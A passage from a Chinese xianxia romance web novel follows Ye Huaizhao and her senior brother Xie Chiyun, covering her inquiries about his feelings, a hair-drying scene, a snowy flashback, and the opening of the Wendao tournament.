林漱雪的神情迅速变化,诡异的沉默过后,最终定格在一个玩味的表情上。 她慢慢说:“你知道……问这个问题的人一般都是抱着什么心思吧?” 叶怀昭坦然地看着她:“我当然知道。” 她的逻辑非常清晰:“一点点的喜欢可以很容易地中止。所以在还没有无可救药之前,我要先知道他有没有喜欢的人,再决定我要不要继续喜欢他。” 解蛊很重要,但万一谢迟云有爱慕的姑娘,而那个姑娘也和他情投意合,叶怀昭也不想做那个插足两个人的第三者。 林漱雪说:“你为什么不直接问他?” 叶怀昭可怜巴巴地叹息:“前辈,师兄他不告诉我。” 林漱雪嗤笑一声:“那你就认为我知道?” 叶怀昭没有说话,但她又圆又大的眼中明晃晃地写着“难道你不知道吗”。 这种理所当然直接给林漱雪看沉默了。 她瞬间改变了主意。 林漱雪想,这小姑娘这么骄傲又吃软不吃硬的性格,若是没有谢迟云的纵容,她绝对不会顶着谢迟云的冷脸对他动心,说不定还会张牙舞爪地天天和他打架。 此时她能向她问出这种话,绝对是谢迟云故意纵容引诱的结果。 想到这点,林漱雪豁然开朗。 好歹也是自己便宜师父的女儿,而便宜师父之前对自己也不错,林漱雪决定这小姑娘一点提示。 林漱雪:“我不知道。” “但是,”她意味深长地说,“我猜他应该挺喜欢嘴硬心软、口是心非的姑娘。” 第40章 第四十章一个很是不清不楚的界限。…… 宁绥在村门口找到了闲得无聊教几个小孩用术法的叶怀昭。 她身边围了一圈还没到她腰间的小孩,各个仰着头用崇拜好奇的目光看着她,叶怀昭的指尖每升起一小束火焰,便引来所有人的惊呼。 问道大会夺魁热门没有用任何厉害的术法,她懒洋洋地调动火焰变幻形状,最后停在一只栩栩如生的小猫上。 “哇——”没见过世面的小孩不约而同地发出惊呼。 叶怀昭顿时笑眯了眼睛,手腕一转,那只火焰构成的小猫自她的手中轻盈落下,飞窜出去。 几个小孩追着小猫跑了,宁绥才带着周鹤亭走来。 他评价说:“幼稚。” 叶怀昭眼中的笑意散去,瞪了他一眼:“要你管。” 宁绥懒洋洋说:“谁说要管你了?我若是越俎代庖,乘玉君不得先手撕了我。” 叶怀昭:“师兄哪有这么残暴。” 宁绥嗤笑一声没说话。 与叶怀昭结识只是意外,若不是她知道他的秘密,宁绥根本不会在明知叶怀昭是谢迟云师妹的情况下与她保持这么多年的联系。 谢迟云这人早在八百年前就被他列入“疯子”的范畴中了。 叶怀昭不爽地甩头就走,走了一半又想起什么似的倒了回来,皱眉盯着周鹤亭以及宁绥:“你和你师弟不是去处理妖兽了吗?这么快就回来了,妖兽呢?” 周鹤亭摸了摸鼻子,有几分尴尬:“……没有找到。” 叶怀昭当即鄙夷地看了一眼宁绥,嘲笑说:“几只妖兽都找不到,还敢大言不惭地说能压过庄丹雪拿到第二——你哪来的自信?” 宁绥额角直跳,皮笑肉不笑地拿叶怀昭的话回敬:“这是我无相宫的事情,就不麻烦长风门大小姐操心了。” 他说:“事情办完了没有,办完了就赶紧走。” 他瞥了一眼夹在两人中间惴惴不安的周鹤亭,毫不客气道:“你送她回去。” 周鹤亭欲哭无泪,心想师兄你怎么就这么把我卖了! 可他半点不敢反抗,只能视死如归地对叶怀昭说:“大小姐,天色不早了,也该回去了。” 叶怀昭的脑子转得很快。 相较于分别与魔界和东海临近的南境和东境,北境虽然有着被称为“死亡之地”的白仙府,但境内却很少有妖魔侵扰。 宁绥一个临近踏灵境的修士,再加上水平勉勉强强的周鹤亭,会连几只妖兽都抓不到? 叶怀昭转了转自己手腕上的银镯,听出了宁绥不想谈妖兽之事。 ——他不想谈,我还不想听呢。 她哼了一声,恶狠狠说:“不说拉倒。” 说完这句话她转身就走,周鹤亭在宁绥的目光威胁下,只好咬着牙追过去:“叶仙君等等我!” 叶怀昭还是等他了。 等彻底离开了宁绥的视野,叶怀昭才慢悠悠地转过身,瞥了一眼气喘吁吁的少年:“你不是修士吗?才跑这么几步怎么就累成这样。” 周鹤亭幽怨地看着她:“叶仙君,我是符修。” 叶怀昭:“符修怎么了,我还是医修呢。” 你的医修和别人的医修能一样吗?! 周鹤亭在心中腹诽,听到叶怀昭问他:“你知道我抓你来是要干什么吧?” 她说这话时语气漫不经心,却有无形的灵力威压向周围施加。 周鹤亭心里咯噔一声。 他绞尽脑汁地思考,最后战战兢兢:“那个、大、大小姐,妖兽的事情是宁师兄和仙尊们负责,我真的不知道啊。” 叶怀昭觑他一眼:“我没说这个。” “啊?”周鹤亭一愣。 叶怀昭看着他这幅样子,没好气说:“你忘了自己在丹河秘境时答 应我什么了?” 她活动着自己的手腕,似笑非笑:“需不需要我再次帮你回忆一下?” 这个动作实在太过于眼熟,周鹤亭一个激灵,丹河秘境时的挨打回忆全部涌出。 “不、不用劳烦叶仙君!”他结结巴巴说,“您想问那个情报贩子的事情吧?” 周鹤亭说给叶怀昭和谢迟云下的蛊是他从一个情报贩子手中拿到的,当时为了找到下蛊之人和解蛊之法,叶怀昭让他留意情报贩子的动向,有线索立刻传信与她。 只是后来季衡远暴露了,而时闻筝也替他们找到了解蛊之法,叶怀昭这才没有传信催促周鹤亭。 但既然遇上了,叶怀昭还是有几件事情想从情报贩子口中问清楚。 比如究竟是谁帮季衡远炼制的连魂蛊。 周鹤亭满脸纠结,欲言又止。 叶怀昭一看他的表情就知道结果可能不太妙。 果然,周鹤亭纠结一番,还是缓缓说:“叶仙君,那个情报贩子死了。” 无相宫。 叶怀昭离开后,很快便有一个无相宫的内门弟子来长风门的住处中找谢迟云,说是掌门有请。 谢迟云没有拒绝,随着他离开楼院。 平清城位于北境,虽不至于到达极北苦寒之地,但气候依旧比其他地方更加寒冷一些,即便是四月时节,城外山峦依旧有着薄雪覆盖。 但这一切在无相宫中全然感受不到。 这里依旧是绿树环绕、清水常流。 和长风门相同,无相宫也有坤脉经过。只是相较于其余坤脉皆在地底深处流淌外,无相宫的坤脉是世间唯一一条暴露于地面之上的坤脉。 它似是长河般翻涌波动,绵延不断,即便在白日里依旧看得出灵力碎光在清透澄澈的水中不断跃动。 谢迟云瞥了几眼,很快便在弟子的催促声中收回目光,迈步走入坤脉旁边的殿阁。 殿阁中是三三两两的宗门仙师,无相宫的宫主背对着殿阁大门,似乎没有察觉谢迟云进来了,反倒是与他说话的青年率先抬首,与走进来的谢迟云对视一瞬。 而后,他善意地弯了弯眉眼,提醒说:“宫主,长风门的乘玉仙君到了。” 乍眼望去,他与走进来的谢迟云气质很是相似,皆是如春风拂面般的温和知礼。 只是谢迟云的样貌气质虽是温润如玉,但他本人的存在感极强,如同柔和的风,即便再无形无色也能感受到流动。 可沈玉山不是。 在无相宫宫主与谢迟云交谈时,旁人几乎忘记旁边还站着一个青冥台掌门的首席大弟子。 他是如水一般悄无声息、能完美隐藏自己存在感的人物。 无相宫宫主道:“问道大会的第二轮选拔需在幻境中决出,按照惯例,需要参加问道大会的宗门根据参与人数,各出几名弟子作为巡场督学。” 每一届问道大会都要有这一流程,无人反对。 有人半开玩笑地问:“上次无相宫是将凌河幻境作为问道大会的第二轮选拔,不知宫主这次准备开哪个幻境让我们大饱眼福?” 无相宫宫主摸了摸长须,笑眯眯说:“天机不可泄露,到时候众位不就知道了?” 散场后,谢迟云被一道声音叫住了。 他停在原地:“沈仙君有何事?” “乘玉君,”沈玉山慢慢走来,先是和他说了些寒暄话,才道,“听说贵派的秘宝前些日子失窃,仙首这几日十分忧心。若是有什么地方需要青冥台的帮助,仙君随时都可来找我们。” 谢迟云看了他片刻,说:“有劳沈仙首关心,关于秘宝的事情我们已经有了些线索。” 沈玉山叹息一声:“实不相瞒,其实青冥台前些日子也丢失了一件秘宝。” 谢迟云不动声色:“哦?” “窃取秘宝的人只是一个普通修士,但是却极擅逃跑之术。事情发生后我便派人去抓捕他,只是那人极为狡诈,每次都让他先跑了一步。” “这次来平清城,虽是因我师尊病重而无法亲至,却也是为了抓捕那窃贼。” 他说:“那窃贼恐怕如今正藏匿在平清城中。” 谢迟云一直安静地听他说着,直到此时才微微眯起眼眸:“沈仙君想说什么?” “乘玉君不明白吗?”沈玉山微笑着,“或许那窃贼也正是贵派一直寻找的那位偷盗封灵镜的凶手。” 说这话时他的目光一直紧紧钉在面前男人的脸上,但令人失望的是,谢迟云的脸色没有任何变化,眼中是一如既往的浅淡温和。 谢迟云既没否认他的话,但也没有表示肯定,而是模棱两可说:“或许。” 他不轻不重道:“若是连青冥台都有秘宝失窃,或许应该去提醒一下无相宫,若是问道大会期间有人趁机作乱,那就不好了。” 沈玉山在心中想,都说乘玉仙君是最好说话的人,但如今来看,或许最不好试探的人就是他。 既然谢迟云不想多说,沈玉山也不再多费什么劲,又关心了几句长风门掌门的身体后,礼貌道:“听说乘玉君的师妹这次也参加了问道大会。” “叶师妹天资卓越,想必一定能取得好名次吧。” 谢迟云是叶怀昭的师兄。 而沈玉山是庄丹雪的师兄。 若是沈玉山说了这话,按照常理,谢迟云也该礼貌地说一句“庄师妹应当也能取得好名次”。 但沈玉山眼睁睁看到谢迟云微微弯了弯眉眼,理所当然便说:“自然。” 沈玉山:“……” 怎么这个时候就不谦让了? 他在心中挑眉——谢迟云竟然是娇纵师妹的那类人吗? 但在回去的路上,沈玉山却无端想起来方才在赌场时,匆匆瞥见谢迟云拉着叶怀昭离开时的场景。 昏暗的灵石灯下是重重叠叠的人影,最中央的赌台旁,里三层外三层地围着大量兴奋的修士和百姓。 出身三大门派的三人在早已炒热的赌局上不断加码,能保一个普通人好几世荣华富贵的财宝堆叠在一起近乎成山,而伶仃的黄金与灵石的脆响依旧不断响起。 随着此起彼伏的哄闹声,有人在嘶吼着发狂,有人在抓着头发大叫。他拨开人群走进去,把几乎已经气昏头的师妹拉了出来,却看到另一边的谢迟云也走到了他的师妹旁边。 他低头听叶怀昭说了什么话,垂下的面容一半被阴影遮挡,眼中流淌着沈玉山从未见过的温和沉静。 然后他带着少女向外走,和沈玉山一样都用灵力护在身周,却不是像他一样与自己的师妹一前一后。 他的手扣着自己师妹的手腕,掌心贴着银镯,拇指按在跳动的脉搏,侧着身挡在她的身边,带着她向外走去。 周围的人群混乱无序,谢迟云却只垂眼看着他师妹。和他相比少女的身形单薄,被他宽阔的肩膀遮挡。 更快一步走出赌场的沈玉山站在日光下回头,因为光线而微微眯起刺痛的眼眸。 谢迟云自阴影中走入日光下的刹那,以沈玉山的角度来看,那几乎是将他的师妹半楼在怀里。 一个很是不清不楚的界限。【魔蝎小说 mo xie xs .c om】 40-50 第41章 第四十一章湿发 情报贩子虽是死了,但据周鹤亭所说,此人在与他接触前在魔界待过一段时间,或许那蛊虫就是在魔界炼制的。 叶怀昭对他的话兴致缺缺:“我当然知道那是在魔界炼制的,我想知道是谁给他炼的。” 周鹤亭绞尽脑汁:“呃……据说他在魔界中与几位殿下的关系都不错,或许是那几位殿下的意思?” 叶怀昭心中一动。 “哪几位殿下?”她问。 于是周鹤亭掰着手指头给她数:“五殿下、六殿下、十一殿下、十六殿下……他和那几位年轻殿下都有过交易。” 叶怀昭思忖着他说的这几个魔。 魔君究竟有多少个孩子没人能说清,但在明面上,魔界只有十六位母族势力显赫的殿下。 和修真界由坤脉决定仙首不同,魔界由前任魔君决定下任魔君,几百年来基本上都是父死子继、兄死弟承。 曾经的五殿下和六殿下最有可能成为下任魔君,只是在五殿下山梧因为屠杀了整整一个仙门被仙首斩杀后,六殿下山槐便成为了如今最被看好的一位殿下。 更巧合的是,周鹤亭说的这几位殿下中,叶怀昭只和这位六殿下有冲突。 若真要从这几个魔族中挑出来一个最有可能对她下手的魔族,叶怀昭觉得山槐的嫌疑最大。 而且前段日子中在乐寿城发生的那些事情,背后指使的魔族也是山槐。 叶怀昭厌烦地垂了垂眼睑。 她心情不好,旁边的周鹤亭自然也不敢招惹她,小心翼翼地跟在她身后回了平清城。 此时日暮西沉,原本热热闹闹的街市上也少了许多人,不少店铺都开始打烊,纷纷收摊走人。 叶怀昭想买的东西早就在之前就买好了,但她瞧见路过一个铺子时身后的周鹤亭不自觉地停住脚步,犹犹豫豫地看向她。 “叶仙君,能否稍等我片刻?”周鹤亭问,“我去买个东西,马上就回来。” 叶怀昭神色恹恹地抬了抬下巴,示意他赶紧去。 少女站在门前没有进去,她环胸抱臂,看着那家店铺的牌匾发呆。 其实到现在叶怀昭也没搞清楚山槐到底是怎么记恨上她的。 想要杀她的魔族有很多,但有能力突破长风门的结界、能够派出数个踏灵境修士把她直接掳走的魔族却只有山槐这一个。 如此强烈的恨意,几乎到了不死不休的份上。 但天地可鉴,在无忘川事情发生之前叶怀昭根本就没见过山槐,更遑论和她结仇了。 叶怀昭其实一直很想亲自去问问山槐,她到底为什么这么想让她死。 她站在门外等了半晌,因为今早刚闹出了大动静,不少认识叶怀昭的修士偶尔也会驻足停留,问她在等谁,要不要去旁边酒楼先坐上一会儿。 叶怀昭随口将那几个修士打发走,心想周鹤亭这人怎么这么墨迹,半天也没出来。 她不耐烦地皱了皱眉,正要进去找他时,灵识忽地微微一动。 她下意识地看向旁边从酒楼中出来的那人。 那是个穿着玄色魔族服饰的年轻男人,五官清俊桃花眼含笑,手腕腰间都佩着金饰,走动间发出清凌凌的脆响,正同旁边的好友说笑。 他似乎对旁人的视线极为敏锐,叶怀昭只是将目光在他身上落了一瞬,那人便似有所觉地侧首,直直与她对视。 隔着来往的人潮,叶怀昭看到了一双猩红色的眼眸。 这是个魔族。 四目相对,叶怀昭没有动作,而那个魔族也没有动作。 过了片刻,魔族身边的好友像是察觉出不对劲,纳闷地问了句“看什么呢”,正欲顺着他的视线向叶怀昭的方向看过来时,魔族才收回目光。 叶怀昭听到他漫不经心说:“没什么,只是看见一个漂亮姑娘。” 他的好友眼睛一亮,正要去看这“漂亮姑娘”在哪,就被魔族板着肩膀半拖半拽地带走了。 叶怀昭没将那魔族放在心上——平清城内的魔族在这段时间中多到简直与修士数量对半开,碰到一个魔族并不奇怪。 她将视线挪回来,看到周鹤亭匆匆走了出来。 他不好意思说:“久等了叶仙君。” 叶怀昭无甚在意地点头,随口问他:“买什么了,花这么长时间?” “令仪说那家铺子新出的一件衣裙很好看,让我帮她带几件回去。”周鹤亭摸了摸脑袋,“我认不出是哪几件,就把最近新上的几件全部让人拿了过来。” 他说完这句话了才解释说:“令仪是我妹妹。” 叶怀昭“哦”了一声,说:“你对你妹妹还挺好的。” 周鹤亭傻笑了两声:“我就这一个妹妹,当然要对她好些。” 叶怀昭没吭声。 她没有兄弟姐妹,但是她的好友桑春有很多兄弟姐妹。 只是和周鹤亭与他妹妹相处融洽不同,桑春很讨厌她哥哥。 当初为了不被她哥哥卖给富商做小妾,她甚至不惜从悬崖上跳下去逃生,拖着骨折的双腿、只靠双手爬到了长风门的大门。 后来若不是她自身灵骨纯粹、修仙天赋高,说不定她哥哥也不会那么轻易地便善罢甘休。 或许这也是她如今被人评价为“冷心冷肺”的原因之一- 叶怀昭回到无相宫。 她先是去自己的屋中洗漱一番,才去找了谢迟云。 这一次她没敢直接破门而入,而是老老实实地在外面敲门,得到回应后才迈步走入屋中。 谢迟云正站在桌案后提笔写字。 他没有抬起头,垂着的眼睫落着一道浅浅的阴影,眉弓与鼻梁被烛光勾勒出柔和而清晰的弧度,像是山水画一角写意泼墨似的线条。 叶怀昭不自觉地顿在原地。 她一直没有出声,引得谢迟云微微抬起一点眼睑,浅色眼瞳注视着她挑了挑眉:“师妹?” 叶怀昭如梦初醒地回神,抬脚走到谢迟云的身前,倒着去看他桌上铺开的纸张:“师兄在写什么?” 谢迟云的字和他本人一样秀逸挺拔,只是每每在转折处又显出不动声色暗藏的锋芒。 叶怀昭问这句话只是没话找话,实际低头时就已看清了谢迟云是在给叶珩写信。 谢迟云落下最后一字,将笔搁到旁边的砚台上。 桌案上的信笺无风自起,他将信笺叠好盖上门徽,走到窗边后,信笺直接化作一道银色的流光,穿透深沉的夜色向着南边的天空离开。 将信笺发出去后,谢迟云转过眼去看趴在桌案上的少女,眉头轻轻一皱:“怎么湿着头发就出来了?” 叶怀昭霸道地坐着谢迟云的椅子,两条胳膊交叠,下巴放在手臂上。 带着些许潮气的乌黑长发披散在她的背后,少女歪着头,脸颊的软肉因为动作而微微挤在一边,几缕发丝俏皮地蹭在她的脸边。 她的下巴在自己的胳膊上滚了滚,嘟囔说:“外面又不冷。” 谢迟云说她:“湿着头发吹风容易头痛。” 这道理叶怀昭当然知道。 她只是犯懒而已。 少女懒洋洋地打了个哈欠,湿润的眼眸微微抬起,无辜地看着自己的师兄:“那怎么办呢,师兄?要不然你帮我把头发弄干吧。” 她翘了翘唇角,故意说:“不要术法。” 沐浴过后的草药香似有似无地萦绕在鼻腔,略微发苦,其中却又混着另一道淡淡的清香,像是柑橘。 谢迟云看了她片刻,垂眼说:“好。” 片刻后。 叶怀昭有几分后悔说出这句话了。 她背对着谢迟云,看不见对方的动作,但能感受到对方修长的手指缓慢划过自己的发间,绢帛将湿润的水意慢慢拭去。 谢迟云擦拭头发的手法很好,一点也没有将她扯痛,甚至还会按摩穴位,非常熟稔。 只是他的手指关节偶尔擦过叶怀昭敏感的脖颈与耳后,总是激起细小的战栗,让她不自觉地想要躲开。 次数久了,谢迟云就问:“师妹冷吗?为什么在发抖?” 叶怀昭嘴硬说:“没有,是师兄扯到我的头发了,有点痛。” 谢迟云轻飘飘的声音自身后传来:“那我再轻一点。” 他这样说着,擦拭头发的动作果真更轻缓了。 但是…… 叶怀昭越发感到坐立难安。 擦过她后颈肌肤的手指轻如鸿毛,比之方才更加轻柔,几乎像是轻轻的触碰,或者呼吸落下的似有似无痒意。 偏偏谢迟云还在追问:“这样的力度可不 可以?” 叶怀昭觉得自己的脸上发烫,故作镇静说:“可以。” 她听到自己的身后飘来一道轻笑。 “出去时还兴高采烈的,怎么回来就这么不高兴了?” 他问:“遇见谁了?” 叶怀昭巴不得他赶紧转移话题,立刻接道:“宁绥、周鹤亭。” 她想了想,又补充说:“还有林漱雪。” “林前辈?”谢迟云的声音平缓,“师妹是让宁绥带着你去找她了?” 真聪明啊,师兄。 但是这个聪明能不能不要用在这个地方。 叶怀昭不想让谢迟云三言两语间就猜出来自己去找林漱雪问什么,要是让他知道自己是去问他爱慕什么样的姑娘——那可真是丢人丢到家了。 正好她想起来林漱雪给自己的提示,于是叶怀昭清了清嗓子,没回答这个问题,而是说:“我觉得宁绥是个好人。” 远在无相宫另一端的宁绥打了个喷嚏。 无妄仙尊面无表情地向他投来关切的目光。 宁绥揉了揉鼻子,心道又是哪个混蛋在背后念叨他。 屋中,谢迟云手上动作变慢了。 他不动声色:“师妹何出此言?” 叶怀昭:“就是感觉啊,他对我很好。” “陪我逛街市、帮我拿东西、又亲自带我去找了林前辈。” 她随口说了几个例子,感觉到擦拭自己头发的动作越来越慢,最后慢慢停下。 叶怀昭抓着盖在自己头顶的绢帛,转身回头自下而上地看着谢迟云,歪歪头:“师兄?” 谢迟云隔着绢帛压了一下她的脑袋:“师妹。” 叶怀昭茫然地应了一声。 她的师兄说:“下次出门,记得把他也一同叫上吧。” 谢迟云弯了弯唇角,眼中却没什么笑意:“我也想看看无妄仙尊的唯一弟子,究竟是多么心地善良、乐于助人。” 第42章 第四十二章他也曾有过一瞬间的犹豫。…… 问道大会开始的那天,青冥台的仙首没来,是他的大徒弟沈玉山代表他说了几句场面话,接着便是无相宫的宫主开始讲解问道大会的规则。 这个规则是讲给那些第一次来参加问道大会的弟子来听的,像是长风门或青冥台的弟子都是左耳进右耳出,在看台上各玩各的。 被迫早起的叶怀昭打了个哈欠,坐在看台上和桑春聊天,主要是听后者说八卦。 “看到那个白衣男修了吗?别看他长得道貌岸然的样子,实际之前和他师妹在一起的时候脚踏两只船,脸上伤口就是事情败露后被他师妹打的。” “还有那个剑修,听说家里本来已经给他定了亲,结果下山历练时遇到了一个凡间女子,决定非她不娶,差点把那掌门气死。” “还有那个修无情道的符修,听说去年她也不幸动心,只好转修其他道派——他们无情道这些年真是人才凋零。” 叶怀昭本来在昏昏欲睡,结果越听越精神,直到长风门的师姐让她去找谢迟云抽签时还意犹未尽。 她去的时候有些晚,本来围在谢迟云身边的一圈人已经散了差不多。 见叶怀昭走过来,青年直接将手中没剩几张的择签纸递给她。 “将灵力注入后就会显示你与谁对决。”他说道。 按照惯例,问道大会一共进行两轮。第一轮是擂台战,根据每届参与的人数多少决定每人要进行几场对决,再根据输赢平局获得的分数进行排名,最后取前十名进入第二轮。 叶怀昭一边按照他的话向择签纸中注入灵力,一边趁着姓名没有显现出来前对谢迟云说:“师兄,你猜我会不会在第一轮时就碰到庄丹雪?” 谢迟云微微一笑:“这要看无相宫负责反转符文的修士水平如何。” 因为进入第二轮的人数极少,所以虽说是按照第一轮的分数排名,但基本上只有能在第一轮全胜的人才能跻身前十名、进入第二轮。 这就给了一些投机取巧的人机会。只要用术法干涉择签纸的结果,故意挑些修为水平低于自己的人便能一直获胜。 这个漏洞历届问道大会都存在,只是大家都有意没有修改——擂台战对那些不擅正面交锋的修士很不友好,若是这些修士有能力绕过举办问道大会的宗门干涉择签纸,他们也不介意给这些修士进入第二轮的机会。 这些修士不仅需要与无相宫的几位仙师对决,还要与同样使用调转符咒的同派别修士对决。 某种意义上来说,剑修符修这类修士的对决擂台在比武台上,而命修卜修的对决擂台就在择签纸上。 叶怀昭眨了下眼睛,说:“那我猜第一轮对决时遇不到庄丹雪。” 她松开手,看到择签纸上慢慢浮现出几个人名——的确没有庄丹雪。 叶怀昭:“看来无相宫负责反转符文的修士水平比青冥台高。” 上一次的问道大会便是青冥台举办,而青冥台又是出了名的不擅符文阵法之道。 结果就是在上一届问道大会时闹出来不少本该进入第二轮的有名修士,在第一轮就提前撞上于是惨遭淘汰的情况。 叶怀昭和别人的第一场对决还需要过段时间才开始,她和谢迟云告别后,转身重新坐回看台上。 桑春没问叶怀昭抽签的结果,反正问了也是白问。 这人可是放出话要拿榜首的,庄丹雪都拦不了她,若是在第一轮时就爆冷出局,那可真是要被别人笑掉大牙的。 此时比武台上已经有弟子开始对决,每个比武台旁都有一名仙师监督,整个场地内又有无相宫的一位宫主负责压场。 叶怀昭的目光正下方便是无妄仙尊。 她面无表情地目视前方,眼中没有任何情绪波动,像是在发呆。 叶怀昭看了会儿,转头戳了戳桑春:“宁绥怎么没在他师尊旁边?” 按照那人对他师尊的殷勤劲,这种时候他竟然没守着他师尊? 桑春本是要回答,目光忽地越过她的肩头看向她的身后,伸手指了指:“你自己问他呗。” “叶、怀、昭。”一道阴恻恻的声音同时自叶怀昭的身后传来。 她回头,看见一身无相宫绛蓝色门服的青年站在她的跟前,目光不善地盯着她。 这个动作有点折磨脖子,叶怀昭干脆将自己整个转过来,面对着男人懒洋洋说:“叫我干什么?” “你还好意思问?”黑着脸的宁绥咬牙切齿问她,“你前几天回去后和你师兄说什么了?” “我说什么了?我没说什么呀。”叶怀昭无辜地眨了下眼睛。 “你没说什么怎么他用那种眼神看着我?”宁绥说。 叶怀昭:“什么眼神?” 宁绥面无表情:“看死人的眼神。” 两人身旁的桑春“噗嗤”一声没憋住笑,又连忙摆手示意他们继续。 叶怀昭干咳一声:“我怎么知道他为什么用这种眼神看你。我只是复述了一遍那天我们去干了什么,我师兄还夸你心地善良呢。” 宁绥被她气笑了:“他乘玉仙君当着你的面夸别的男人心地善良——你是真听不懂他的话还是真心想让我死的?” 叶怀昭敷衍地向他摆摆手:“哎呀不用担心,我知道你绝对不会喜欢我的。师兄他不会冤枉好人的。” 你师兄不会冤枉好人,但他会给他认为夺走自己师妹注意力的男人找麻烦。 宁绥在心中愤恨地想,正要开口说什么,就见面前的少女抬起手指了指下方比武台,提醒说:“宁绥师兄,下面可是轮到你的场次了,再不过去可就算作弃权了哦。” 宁绥冷冷盯了她几眼,留下一句“以后出门去找周鹤亭,再来找我我就直接把你打出家门”后,转身气势汹汹地走下看台。 叶怀昭为宁绥的下一场对手不走心地说了声抱歉。 桑春歪着头看了她片刻:“你就是故意的吧?” 没等叶怀昭回答,她便了然肯定:“你就是故意的。” 前几日桑春其实和叶怀昭探讨过,谢迟云对自己这个师妹到底是怎么想的。 他或许对她有一点好感, 那这个好感究竟到了何种地步? 她给叶怀昭提供了很多方式,既有直白询问也有让她旁敲侧击,但万万没想到叶怀昭竟然选择用宁绥去试探谢迟云。 她说:“所以你师兄当时的反应如何?” 她看到叶怀昭趴在看台木栏上发呆。 片刻后,少女冷不丁说:“反应就是,他果然很讨厌季衡远。” 桑春:“……?” 她觉得叶怀昭的话莫名其妙。 季衡远都死了多少天了,你试探谢迟云又和季衡远有什么关系? 叶怀昭的双手松松搭在看台的木栏前,没解释自己的话,而是望着比武台出神。 很久之前谢迟云和她在自己院中的花架前吵过一次。 那天的结局叶怀昭已经没了记忆,但按照她当时的性格而言,只要谢迟云说出那句“你只是单纯厌恶我”,她绝对会和他不欢而散。 可方才宁绥的话让她忽地记起了在这之后发生的另一件事情。 那是在冬日,那天下着在南境极难遇见的大雪。等她练完剑从习道院走出来时,天地都已经被白茫茫的雪所覆盖。 季衡远传音给她,说是在西翠谷中帮她煲了汤,另外有件事情想告诉她,让她记得回来。 而她那天一如既往地没有带伞,练完剑法后通身灵力耗了大半,懒得用术法,就想这么直接走回西翠谷。 谢迟云就是在这时候出现的。 他撑着伞,在漫天白雪中微微抬起一点伞面,站在北林峰的朱红廊桥上叫了她一声。 于是她被迫停下脚步,硬邦邦地回道:“师兄有何事?” 谢迟云走过来,目光像是在她落着雪花的头发和肩头上顿了一瞬,手指动了动,却只安静地垂下眼睛看着她。 “下着大雪,师妹这是要去何处?” 叶怀昭瞥他一眼,想起前段日子的吵架,脸上的表情依旧不好:“西翠谷。” 她冷淡说:“师兄不是觉得我厌恶你吗?还来管我去何处做什么?我师弟还在西翠谷等我,烦请谢师兄不要挡道。” 说完这句话,她就想要绕过廊桥离开,但是被拦住了。 她不想和谢迟云多说话,直接抬手掐诀准备直接瞬影。 赤色的灵力在她的指间升起,将要成形时却被另外一只更加宽大的手掌完全包裹着,在叶怀昭骤然睁圆的眼眸中,紧紧扣住了施法的手腕。 他做着如此霸道无理的事情,偏偏持伞的手一动不动,面色依旧是那副没什么表情反应的样子,只是垂着眼盯着她。 叶怀昭被他硬生生掐住灵力,看见他的脸更是生气,恨不得跳起来咬他一口泄愤。 她气急骂道:“你究竟要做什么?是你觉得我厌恶你,如今又来拦我是什么意思?你若是想要和我打架就直说,我们习道场上见!” 谢迟云任由她喋喋不休地骂,单手扣住她手腕的力度却是分毫不减,无论叶怀昭怎么挣扎都无法脱离。 雪花在两人站立的廊桥上落了厚厚一层,叶怀昭骂了半天终于骂累了,心情极差地瞥了一眼从头到尾只说过一句话的谢迟云,语气不善说:“我最后再问一遍,你到底要干什么?” 她警告说:“你要是再不放手,我可就真叫人了!” 不知是她的警告有了效果还是别的原因,谢迟云看着她,忽地弯了弯唇角。 这是一个浅浅的笑。 他说:“师妹,你真的要回西翠谷吗?” 叶怀昭只觉得他莫名其妙:“当然,衡远师弟还在等我回去。” 谢迟云说:“先不要回去,好不好?” “我不回去难道要陪你在这冰天雪地里站着看雪吗?”叶怀昭说,“我不想和你吵,我现在也不想和你打架——别逼我和你动手,谢师兄。” 廊桥旁古树的枝条终于不堪重负,簌簌的白雪在朔风中飘摇着落下,卷到谢迟云的衣袖上。 他垂眼看了许久,然后在叶怀昭下一次的催促声中,缓缓松手。 叶怀昭猛地收回自己的手,揉着手腕不善地盯着他,然后冷哼一声转身就想走,却被谢迟云再次叫住。 她以为谢迟云又要和她吵些什么,心情不爽地回头,后者却只是将自己手中的伞递了过来。 他在叶怀昭狐疑的眼神中,声音很轻地说:“师妹若是执意要回去,那便回去吧。记得撑伞,莫要着凉了。” 叶怀昭看了她片刻,却没有接伞,而是转身下了廊桥,向西翠谷的方向走去。 她本应该就这样毫不犹豫地离开。 她本应该将谢迟云抛之脑后。 可她走到半路,忽地又转过头。 她看到谢迟云依旧站在廊桥上,安静地望着她。 他虽是撑着伞,可朔风凌冽,雪花止不住地向他身上飘,一身白衣几乎要与周围雪地融为一体,似乎又像是即将要被风雪吞没。 叶怀昭看了片刻,不知自己是出于什么想法,又走了回来。 她在谢迟云的注视下,一把将他手中的伞扯了过来。 她没好气说:“要着凉也是你着凉,自己淋着雪回去吧!” 她抢到伞后转身就走,没再去看身后谢迟云的神色。 也是后来叶怀昭才知道季衡远那天叫她回西翠谷,其实是下定决心要同她袒露爱慕之心。 也是在如今、在风雪早于过去的浓浓春日,叶怀昭才后知后觉地意识到: 他拦住她,是否意味着永远光风霁月、永远从容不迫的乘玉仙君,也曾有过一瞬间的犹豫。 ——犹豫自己的师妹,是否会接受来自另一人的爱意。 第43章 第四十三章你就纵着她吧! 桑春在看比武台上的宁绥对决。 与他对决的是个花白头发的老人,端看年纪甚至能做宁绥的爷爷,但是对决场上没有什么尊老爱幼的规矩,难得一次穿着无相宫门服的青年几招便把对手击飞出局。 再向场内其余比武台上看去,对决双方年纪基本上都很大,像是叶怀昭或宁绥这样年轻的修士反倒是少数。 这也很正常,因为问道大会不限修为只限年龄,而十几岁便突破天罡境的人毕竟是凤毛麟角,绝大多数修士都会修炼几十年后才有了参加问道大会的把握。 只有对自己的实力无比自信的修士,才会在自己年轻时便用掉这仅有一次的参与资格。 而这类修士,往往也会是最后的魁首。 几百年间好像也就只有一位修士是卡着问道大会限制年龄的边界参加,最后出乎意料地拿到魁首。 可惜的是,在拿到魁首后没多久,他便走火入魔,最后投入魔君麾下成为魔将。 桑春看到宁绥漫不经心地下了比武台后,直直向无妄仙尊的方向走去。 他一面帮自己师尊将桌上散乱的书卷整理好,一面和她说着话。 无妄仙尊似乎回答了什么,他不由得微眯起眼睛笑了一下,神情是放松的信赖。 桑春:“……” 她牙疼地移开目光,想要拉着叶怀昭吐槽一番,转过头时却发现旁边的少女单手支颐,在看着自己的师兄发呆。 桑春:“…………” 这地方没法待了。 